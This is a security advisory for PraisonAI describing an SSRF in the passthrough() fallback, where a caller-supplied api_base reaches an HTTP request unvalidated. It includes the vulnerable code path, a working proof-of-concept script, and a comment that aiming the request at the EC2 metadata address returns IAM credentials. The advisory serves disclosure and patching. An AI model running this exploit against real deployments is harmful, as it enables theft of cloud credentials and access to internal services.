GHSA-x6m9-gxvr-7jpv
PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.
### Details
`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink)
```python
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):
# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
url = f"{api_base or 'https://api.openai.com'}{endpoint}"
# sink -- no validation before request
response = client.request(method, url=url, ...)
```
### PoC
```python
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route
from praisonai.capabilities.passthrough import passthrough
result = passthrough(
endpoint="/ssrf-test",
api_base="http://127.0.0.1:8888",
method="GET",
custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials
```
### Impact
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.
References
External links from the advisory. They lead to third-party sites.